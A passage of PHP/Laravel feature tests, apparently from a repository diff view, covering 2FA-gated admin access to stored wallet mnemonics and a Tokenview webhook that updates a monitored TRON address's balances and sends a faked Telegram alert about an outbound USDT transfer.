->postJson(route('admin.mnemonics.reveal', $mnemonic), [
'GACode' => '123456',
])
->assertOk()
->assertJsonPath('code', 1);
}
#[Test]
public function normal_admin_cannot_reveal(): void
{
$admin = Admin::query()->create([
'username' => 'staff',
'password' => 'secret12',
'is_super' => 0,
]);
$this->bindSecret($admin);
$mnemonic = $this->storeMnemonic();
$this->actingAs($admin, 'admin')
->postJson(route('admin.mnemonics.reveal', $mnemonic), [
'GACode' => '123456',
])
->assertForbidden();
}
#[Test]
public function bind_can_skip_login_verify(): void
{
$admin = Admin::query()->create([
'username' => 'root',
'password' => 'secret12',
'is_super' => 1,
]);
$google2fa = app(AdminGoogle2fa::class);
$secret = $google2fa->generateSecret();
$this->actingAs($admin, 'admin')
->withSession(['admin_google2fa_pending_secret' => $secret])
->postJson(route('admin.security.google2fa.bind'), [
'GASecret' => $secret,
'GAKey' => $this->otp($secret),
'login_verify' => 0,
])
->assertOk()
->assertJsonPath('code', 0);
$admin->refresh();
$this->assertTrue($admin->hasGoogleBound());
$this->assertFalse($admin->requiresLoginGoogle());
}
}
+65
View File
@@ -184,6 +184,71 @@ class TokenviewWebhookTest extends TestCase
});
}
#[Test]
public function webhook_notifies_tron_outbound_after_chain_refresh(): void
{
config(['coruna.tokenview.sign_key' => '']);
Http::fake(function ($request) {
$url = $request->url();
if (str_contains($url, '/v1/accounts/')) {
return Http::response([
'data' => [[
'balance' => 15_043_359,
'trc20' => [
['TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t' => '45601000'],
],
]],
'success' => true,
], 200);
}
if (str_contains($url, 'api.telegram.org')) {
return Http::response(['ok' => true], 200);
}
return Http::response(['ok' => true], 200);
});
config([
'coruna.telegram.bot_token' => 'bot-token',
'coruna.telegram.owner_chat_id' => '12345',
]);
$addr = $this->seedMonitoredAddress([
'address' => 'TDZFQVZJLW3J7dpS9kCE45C8tUxBLwfinD',
'chain_type' => 'TRON',
'trx' => 15.0,
'usdt' => 545.601,
'eth' => null,
]);
$payload = [
'address' => 'TDZFQVZJLW3J7dpS9kCE45C8tUxBLwfinD',
'txid' => 'a37a08e7cc424528276b7bf9aff5feb8076e14851feb2d2a6e01ac34de68e404',
'coin' => 'TRX',
'tokenSymbol' => 'USDT',
'tokenValue' => '-500',
'value' => '0',
];
$this->postJson('/hooks/tokenview', $payload)->assertOk()->assertSee('ok');
$addr->refresh();
$this->assertEqualsWithDelta(15.043359, (float) $addr->trx, 0.0000001);
$this->assertEqualsWithDelta(45.601, (float) $addr->usdt, 0.0000001);
Http::assertSent(function ($request) {
if (! str_contains($request->url(), 'api.telegram.org')) {
return false;
}
$text = (string) ($request->data()['text'] ?? '');
return str_contains($text, '余额转出')
&& str_contains($text, '-500 USDT')
&& ! str_contains($text, '余额入账')
&& str_contains($text, '余额')
&& str_contains($text, '45.6');
});
}
#[Test]
public function webhook_ignores_tron_when_token_is_not_trx_or_usdt(): void
{